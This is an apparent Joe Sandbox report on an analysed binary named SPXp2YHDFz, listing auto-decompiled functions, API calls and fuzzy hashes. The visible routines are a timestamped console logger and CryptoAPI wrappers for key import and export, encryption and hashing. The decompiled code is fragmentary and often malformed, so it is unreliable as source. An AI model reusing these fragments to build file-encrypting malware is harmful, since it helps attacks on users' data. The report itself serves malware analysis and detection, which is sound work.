Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy$Hash$free
String ID:
API String ID: 3361909387-0
Opcode ID: 126185abab56081bbdc337ad22b7c286b1721ee87483a6ae550a7f571322b556
Instruction ID: 04c63adbac0198fe021746c9774060c75ea128f8f1dc9797a7fd78a829163cfb
Opcode Fuzzy Hash: 126185abab56081bbdc337ad22b7c286b1721ee87483a6ae550a7f571322b556
Instruction Fuzzy Hash: 65218E32609B8582EB209F65E450739B3A4FF45B74F588235CA9D069A4CF7CD556C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA1720 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
threadtimeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF77FF79BAA1720(void* __edx, void* __edi, intOrPtr* __rcx, long long __r8, long long __r9) {
				signed short _v42;
				signed short _v44;
				signed short _v46;
				signed short _v48;
				void* _v56;
				signed int _v72;
				signed int _v80;
				signed int _v88;
				long _t16;
				void* _t17;
				void* _t25;
				void* _t41;
				struct _SYSTEMTIME* _t47;

				_t25 = _t41;
				 *((long long*)(_t25 + 0x18)) = __r8;
				 *((long long*)(_t25 + 0x20)) = __r9;
				if (__edi -  *__rcx < 0) goto 0x9baa17a6;
				_t16 = GetCurrentThreadId();
				GetLocalTime(_t47);
				r10d = _v44 & 0x0000ffff;
				r11d = _v46 & 0x0000ffff;
				r8d = _t16;
				r9d = _v48 & 0x0000ffff;
				_v72 = _v42 & 0x0000ffff;
				_v80 = r10d;
				_v88 = r11d;
				_t17 = E00007FF77FF79BAA164C("[%X]: [%02u:%02u:%02u.%03u] ", __r8, __r9);
				E00007FF77FF79BAA1670();
				return _t17;
			}

0x7ff79baa1720
0x7ff79baa1723
0x7ff79baa1727
0x7ff79baa1741
0x7ff79baa1743
0x7ff79baa1750
0x7ff79baa1762
0x7ff79baa176f
0x7ff79baa1775
0x7ff79baa1778
0x7ff79baa177e
0x7ff79baa1787
0x7ff79baa178c
0x7ff79baa1791
0x7ff79baa17a1
0x7ff79baa17b0

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF79BAA1743
GetLocalTime.KERNEL32(?,?,?,?,?,00000000,00000002,?,?,00007FF79BAA88EE), ref: 00007FF79BAA1750
_cwprintf_s_l.LIBCMT ref: 00007FF79BAA1791

Part of subcall function 00007FF79BAA1670: EnterCriticalSection.KERNEL32 ref: 00007FF79BAA16A4
Part of subcall function 00007FF79BAA1670: GetStdHandle.KERNEL32 ref: 00007FF79BAA16B0
Part of subcall function 00007FF79BAA1670: GetConsoleScreenBufferInfo.KERNEL32 ref: 00007FF79BAA16BE
Part of subcall function 00007FF79BAA1670: GetStdHandle.KERNEL32 ref: 00007FF79BAA16C9
Part of subcall function 00007FF79BAA1670: SetConsoleTextAttribute.KERNEL32 ref: 00007FF79BAA16D5
Part of subcall function 00007FF79BAA1670: vprintf.MSVCRT ref: 00007FF79BAA16E1
Part of subcall function 00007FF79BAA1670: GetStdHandle.KERNEL32 ref: 00007FF79BAA16EC
Part of subcall function 00007FF79BAA1670: SetConsoleTextAttribute.KERNEL32 ref: 00007FF79BAA16FA

Strings

[%X]: [%02u:%02u:%02u.%03u] , xrefs: 00007FF79BAA1768

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: ConsoleHandle$AttributeText$BufferCriticalCurrentEnterInfoLocalScreenSectionThreadTime_cwprintf_s_lvprintf
String ID: [%X]: [%02u:%02u:%02u.%03u]
API String ID: 819107525-676204660
Opcode ID: 39dd30e3948694960fbd28f3b172c35de1c472d5c1ba0ad811419756d3ab0eec
Instruction ID: bbeba32798449b1121e4b1b0d6a340a16b5347690a47bb15a74f76e7b474c933
Opcode Fuzzy Hash: 39dd30e3948694960fbd28f3b172c35de1c472d5c1ba0ad811419756d3ab0eec
Instruction Fuzzy Hash: 0201C476A08226A6E3206F19A44087DBBB1FB45F95F500135EF8D03754DF3CD252CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA776C Relevance: 6.2, APIs: 4, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79BAA7128: CryptCreateHash.ADVAPI32 ref: 00007FF79BAA714C

CryptHashData.ADVAPI32 ref: 00007FF79BAA78EE
CryptHashData.ADVAPI32 ref: 00007FF79BAA7917

Part of subcall function 00007FF79BAA7EE4: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,000000D8,00007FF79BAA7956), ref: 00007FF79BAA7F73
Part of subcall function 00007FF79BAA7EE4: CryptImportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000D8,00007FF79BAA7956), ref: 00007FF79BAA7FA0

Part of subcall function 00007FF79BAA7CD8: memset.MSVCRT ref: 00007FF79BAA7CF2

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAA7970
CryptDestroyKey.ADVAPI32 ref: 00007FF79BAA79CD

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: Crypt$Hash$DataDestroy$CreateImportmemmovememset
String ID:
API String ID: 2495588091-0
Opcode ID: 54e6f5ad6bab622a8e2d50f6aa7b3d51996e64575eb13c04cb89ff8d8b015faa
Instruction ID: c242282b3af73b2ffc2175a9bec58b6c892375371df704fff162d79ca3284bf2
Opcode Fuzzy Hash: 54e6f5ad6bab622a8e2d50f6aa7b3d51996e64575eb13c04cb89ff8d8b015faa
Instruction Fuzzy Hash: D6716D33A19B959AD720DF64F84099EB3B5F788358F405226EB9C53A28EF38D655CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA7D74 Relevance: 4.6, APIs: 3, Instructions: 79encryptionCOMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00007FF79BAA7DE8
memmove.MSVCRT ref: 00007FF79BAA7E12
CryptEncrypt.ADVAPI32 ref: 00007FF79BAA7E48

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove$CryptEncrypt
String ID:
API String ID: 1967202165-0
Opcode ID: ee8136f29102df31219c87daaef567bc1eca235a59277cb58348737ee3630102
Instruction ID: a3e80b8d70d0e9420904029f247049291f20d9039912e7689e57195657bc6ad4
Opcode Fuzzy Hash: ee8136f29102df31219c87daaef567bc1eca235a59277cb58348737ee3630102
Instruction Fuzzy Hash: BD31F032714B8496EB249F39D5006A9B361F788BA0F448332DBAC43B95DF38E59A8310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA2A90 Relevance: 3.9, APIs: 3, Instructions: 108
COMMONCrypto

Download Yara Rule

C-Code - Quality: 53%

			E00007FF77FF79BAA2A90(void* __ebx, void* __eflags, long long __rcx, intOrPtr* __rdx, void* __r8) {
				signed char _t30;
				signed char _t35;
				void* _t57;
				void* _t61;
				int _t71;
				unsigned long long _t73;
				int _t92;
				void* _t94;
				unsigned long long _t96;
				void* _t98;
				void* _t101;
				void* _t102;
				void* _t104;
				unsigned long long _t108;
				void* _t115;
				void* _t118;
				void* _t121;

				_t104 = __r8;
				 *((long long*)(_t101 + 8)) = __rcx;
				_t102 = _t101 - 0x30;
				 *((long long*)(_t102 + 0x28)) = 0xfffffffe;
				 *(_t102 + 0x20) =  *(_t102 + 0x20) & 0x00000000;
				_t30 = E00007FF77FF79BAA25F4( *((intOrPtr*)(__rdx + 8)) -  *__rdx, __rcx, _t121);
				 *(_t102 + 0x20) = 1;
				_t73 =  *((intOrPtr*)(__rdx + 8)) -  *__rdx;
				_t96 = _t73 >> 3;
				if (_t96 == 0) goto 0x9baa2b5d;
				r14d = 0;
				r8d = 0;
				asm("sbb al, al");
				_t57 = _t104 + 1 - 8;
				if (_t57 < 0) goto 0x9baa2b00;
				 *((char*)(_t102 + 0x78)) =  *((intOrPtr*)(_t104 +  *__rdx + _t98 * 8)) - (_t30 & 0x000000b7) + 0x00000061 & 0x000000ff;
				if (_t57 >= 0) goto 0x9baa2b29;
				r8d = 5;
				memmove(_t118, _t115, _t92);
				if (_t98 + 1 - _t96 < 0) goto 0x9baa2af3;
				 *(_t102 + 0x80) =  *(_t102 + 0x80) & 0x00000000;
				if (_t73 == 0) goto 0x9baa2b83;
				_t108 = _t73;
				_t35 = memmove(_t94, _t98, _t71);
				r8d = 0;
				asm("sbb al, al");
				_t61 = _t108 + 1 - 8;
				if (_t61 < 0) goto 0x9baa2b88;
				 *((char*)(_t102 + 0x78)) =  *((intOrPtr*)(_t102 + _t108 + 0x80)) - (_t35 & 0x000000b7) + 0x00000061 & 0x000000ff;
				if (_t61 >= 0) goto 0x9baa2bb3;
				return memmove(??, ??, ??);
			}

0x7ff79baa2a90
0x7ff79baa2a90
0x7ff79baa2a9f
0x7ff79baa2aa3
0x7ff79baa2ab2
0x7ff79baa2ac6
0x7ff79baa2acb
0x7ff79baa2ad8
0x7ff79baa2adf
0x7ff79baa2aee
0x7ff79baa2af0
0x7ff79baa2afd
0x7ff79baa2b07
0x7ff79baa2b1c
0x7ff79baa2b20
0x7ff79baa2b2f
0x7ff79baa2b38
0x7ff79baa2b41
0x7ff79baa2b4c
0x7ff79baa2b5b
0x7ff79baa2b5d
0x7ff79baa2b69
0x7ff79baa2b73
0x7ff79baa2b7e
0x7ff79baa2b85
0x7ff79baa2b93
0x7ff79baa2ba8
0x7ff79baa2bac
0x7ff79baa2bbb
0x7ff79baa2bc4
0x7ff79baa2bf1

APIs

memmove.MSVCRT ref: 00007FF79BAA2B4C
memmove.MSVCRT ref: 00007FF79BAA2B7E
memmove.MSVCRT ref: 00007FF79BAA2BDB

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 108552ab9592dadf10e98d055ffe146202b4ee387c429aab45369c8304efe1e9
Instruction ID: 90be134f88b7711fb04550ad0975c8e88e10a46592dc97502fcf1c4837a22cdf
Opcode Fuzzy Hash: 108552ab9592dadf10e98d055ffe146202b4ee387c429aab45369c8304efe1e9
Instruction Fuzzy Hash: 30315463B0469887EA209F79D4047E9B762E7807D4F859236DE4C47AA5CF38D14AC750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAABCD8 Relevance: 3.1, APIs: 2, Instructions: 53
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00007FF77FF79BAABCD8(void* __eflags, long long __rbx, void* __rcx, long long __rdx, long long __rsi, intOrPtr* __r8, void* _a8, void* _a24, char _a32, char _a40) {
				intOrPtr _v24;
				intOrPtr _v40;
				long long _v48;
				long long _v56;
				void* _t41;
				intOrPtr* _t48;
				void* _t60;
				void* _t66;
				void* _t72;

				_t41 = _t66;
				 *((intOrPtr*)(_t41 + 0x20)) = r9d;
				 *((long long*)(_t41 + 0x10)) = __rdx;
				 *((long long*)(_t41 - 0x10)) = 0xfffffffe;
				 *((long long*)(_t41 + 8)) = __rbx;
				 *((long long*)(_t41 + 0x18)) = __rsi;
				_t48 = __r8;
				 *(_t41 - 0x18) =  *(_t41 - 0x18) & 0x00000000;
				E00007FF77FF79BAA25F4(_t41, __rdx, _t60);
				_v24 = 1;
				_t72 =  <  ?  *((intOrPtr*)(_t48 + 8)) -  *_t48 :  *((intOrPtr*)(__rdx + 0x10)) -  *((intOrPtr*)(__rdx + 8));
				_t57 =  *_t48;
				memmove(??, ??, ??);
				_a32 =  *((intOrPtr*)(_t48 + 8)) -  *_t48;
				_v40 = 0x80;
				_v48 =  &_a32;
				_v56 =  *((intOrPtr*)(__rdx + 8));
				_t19 = _t57 + 0x40; // 0x40
				r9d = _t19;
				_t20 = _t57 + 1; // 0x1
				r8d = _t20;
				__imp__CryptEncrypt();
				_a40 = 0;
				E00007FF77FF79BAA2458(_t48, __rdx,  *_t48, __rdx,  &_a40);
				return E00007FF77FF79BAA17B4( *((intOrPtr*)(__rdx + 0x10)) -  *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)(__rdx + 0x10)) -  *((intOrPtr*)(__rdx + 8)));
			}

0x7ff79baabcd8
0x7ff79baabcdb
0x7ff79baabcdf
0x7ff79baabce8
0x7ff79baabcf0
0x7ff79baabcf4
0x7ff79baabcf8
0x7ff79baabd01
0x7ff79baabd0d
0x7ff79baabd12
0x7ff79baabd2f
0x7ff79baabd33
0x7ff79baabd36
0x7ff79baabd40
0x7ff79baabd44
0x7ff79baabd51
0x7ff79baabd5a
0x7ff79baabd61
0x7ff79baabd61
0x7ff79baabd65
0x7ff79baabd65
0x7ff79baabd6d
0x7ff79baabd73
0x7ff79baabd8a
0x7ff79baabdb1

APIs

memmove.MSVCRT(?,?,?,?,?,?,?,?,?,00007FF79BAAB961), ref: 00007FF79BAABD36
CryptEncrypt.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF79BAAB961), ref: 00007FF79BAABD6D

Part of subcall function 00007FF79BAA2458: memset.MSVCRT ref: 00007FF79BAA24B6

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptEncryptmemmovememset
String ID:
API String ID: 3182014635-0
Opcode ID: 8b187b3d8960efb48a330478edba3929e3ee44001cb1934b7f24f53719e0ef06
Instruction ID: 9d5aaf7c74d6f78083e41d781caa9d47c2e1aac76cb2e078a195f6e049270187
Opcode Fuzzy Hash: 8b187b3d8960efb48a330478edba3929e3ee44001cb1934b7f24f53719e0ef06
Instruction Fuzzy Hash: 4E215972608B8587EB20CF6AE44025EB7A1F384F94F508225DBAD43BA8CF3CE545CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA7EE4 Relevance: 3.1, APIs: 2, Instructions: 52encryptionCOMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,000000D8,00007FF79BAA7956), ref: 00007FF79BAA7F73
CryptImportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000D8,00007FF79BAA7956), ref: 00007FF79BAA7FA0

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptImportmemmove
String ID:
API String ID: 3388866568-0
Opcode ID: 0a44e06cf8cf87a8ecb6b14cdd2bff3535125945377145758b3b7bc5875d9652
Instruction ID: d3bf7f07df70043c50768218e4fbba2ffb2a24b4ba90e0ff34f49517bcf714f9
Opcode Fuzzy Hash: 0a44e06cf8cf87a8ecb6b14cdd2bff3535125945377145758b3b7bc5875d9652
Instruction Fuzzy Hash: B6218632618B4486D720CF25F44455EB3B8F799B90B108225DBED43B60DF79E696CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAABC04 Relevance: 3.0, APIs: 2, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptDecodeObject.CRYPT32 ref: 00007FF79BAABC8D
CryptImportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79BAAB932), ref: 00007FF79BAABCBC

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: Crypt$DecodeImportObject
String ID:
API String ID: 150989800-0
Opcode ID: 3a78829afa546986bb7b9cb6916a900e1c17a8d41eb1b797815543f6bd763724
Instruction ID: 7320007a7fc689da7774251092d8145618b8402ace5c9062221c57c065a8f5c0
Opcode Fuzzy Hash: 3a78829afa546986bb7b9cb6916a900e1c17a8d41eb1b797815543f6bd763724
Instruction Fuzzy Hash: EE216A32A18B5482E7109F28F84895877A4F758B94F644336CBAC13BA0DF3AD696C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA24D8 Relevance: 3.0, APIs: 2, Instructions: 48encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32 ref: 00007FF79BAA2537

Part of subcall function 00007FF79BAA2458: memset.MSVCRT ref: 00007FF79BAA24B6

CryptStringToBinaryA.CRYPT32 ref: 00007FF79BAA258C

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID:
API String ID: 1505698593-0
Opcode ID: efaac0d0c78289fc81a445dc839096c327ff4e353b207626dd91201bbdccede8
Instruction ID: 9f980aa016120cdc64af80857d3d56282a8cbd932f35b4ee6c26c0e2ef9c6614
Opcode Fuzzy Hash: efaac0d0c78289fc81a445dc839096c327ff4e353b207626dd91201bbdccede8
Instruction Fuzzy Hash: EC213873624B8887D710CF29E18876DB7A4F398BA8F604315DB98077A8CF78D549CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAC700 Relevance: 3.0, APIs: 2, Instructions: 48encryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF79BAAC74E
CryptExportKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00007FF79BAACCB9), ref: 00007FF79BAAC780

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptExportmemset
String ID:
API String ID: 632872164-0
Opcode ID: 74b3f343fc8346257b42aef7bf3088e0686fc1ce27d77a43d79d520f35e0140b
Instruction ID: b8a708b352f81357913f709408251a83dc177e010e45b201af5d5bfa67c4987c
Opcode Fuzzy Hash: 74b3f343fc8346257b42aef7bf3088e0686fc1ce27d77a43d79d520f35e0140b
Instruction Fuzzy Hash: 51119073614B9486EB20CF25E440799B7A4F789B94F448231DBAC03BA5DF7CD259C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA23AC Relevance: 3.0, APIs: 2, Instructions: 44encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32 ref: 00007FF79BAA2401
CryptBinaryToStringA.CRYPT32 ref: 00007FF79BAA2443

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 59adffc1f9827d35238a4a86ee650796164e38de28fb48d3620f2e1b7ab78e32
Instruction ID: 659deaa1b69dd1fcb62cef9566b6c6072da91e7907a41cc13eaaeb5ddbb0f7ce
Opcode Fuzzy Hash: 59adffc1f9827d35238a4a86ee650796164e38de28fb48d3620f2e1b7ab78e32
Instruction Fuzzy Hash: 58116A72314B8486CB00CF29E484A1DB3A5F788BE8B208235DAAD47768DF79D955C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA6C44 Relevance: 3.0, APIs: 2, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79BAA7128: CryptCreateHash.ADVAPI32 ref: 00007FF79BAA714C

CryptHashData.ADVAPI32 ref: 00007FF79BAA6C91

Part of subcall function 00007FF79BAA7188: CryptGetHashParam.ADVAPI32 ref: 00007FF79BAA71DD

CryptDestroyHash.ADVAPI32 ref: 00007FF79BAA6CB6

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptHash$CreateDataDestroyParam
String ID:
API String ID: 1275266669-0
Opcode ID: f8804d86ef30bbb79539d457d3621321cbe97822996871191b95454e254bed11
Instruction ID: 5d24548cdcc56a49993316e9d49f29599dc1894a08cce8c9986c1115178b356e
Opcode Fuzzy Hash: f8804d86ef30bbb79539d457d3621321cbe97822996871191b95454e254bed11
Instruction Fuzzy Hash: F801D422724A4481DB209B38E505769E760EBC1BE0F504331DB68077F5DF7DD5848790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAABFE4 Relevance: 3.0, APIs: 2, Instructions: 30encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAAC021
CryptDestroyKey.ADVAPI32 ref: 00007FF79BAAC039

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroy
String ID:
API String ID: 1712904745-0
Opcode ID: 748ff5f2f3578ef2ad5768bc79337eaa6cd1f981198a4256956074e3145e430c
Instruction ID: 67cb1d2cecb2307a824bfd6fe78cfd40f2d75a7119e85c51624237dffcdbc483
Opcode Fuzzy Hash: 748ff5f2f3578ef2ad5768bc79337eaa6cd1f981198a4256956074e3145e430c
Instruction Fuzzy Hash: 24016D32615B9491EB109F64E544328B3B4FB48FA0F548325CB7D077A4CF38E56AC350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAA8100 Relevance: 3.0, APIs: 2, Instructions: 25encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyKey.ADVAPI32 ref: 00007FF79BAA8130
free.MSVCRT ref: 00007FF79BAA8145

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: CryptDestroyfree
String ID:
API String ID: 918605230-0
Opcode ID: 107c9d5df43c3e55481bc130910bec4d81355a8d2b9723f3eb5bde35f778b919
Instruction ID: 8a77691449b61974dcc041c4605afc4e684cebcb19eeb9854eed5a95a604fce9
Opcode Fuzzy Hash: 107c9d5df43c3e55481bc130910bec4d81355a8d2b9723f3eb5bde35f778b919
Instruction Fuzzy Hash: 05F05E32608B4581EB209B28E844725B360FB8ABB4FA84331CABD062F5CF3CD5868310

Uniqueness
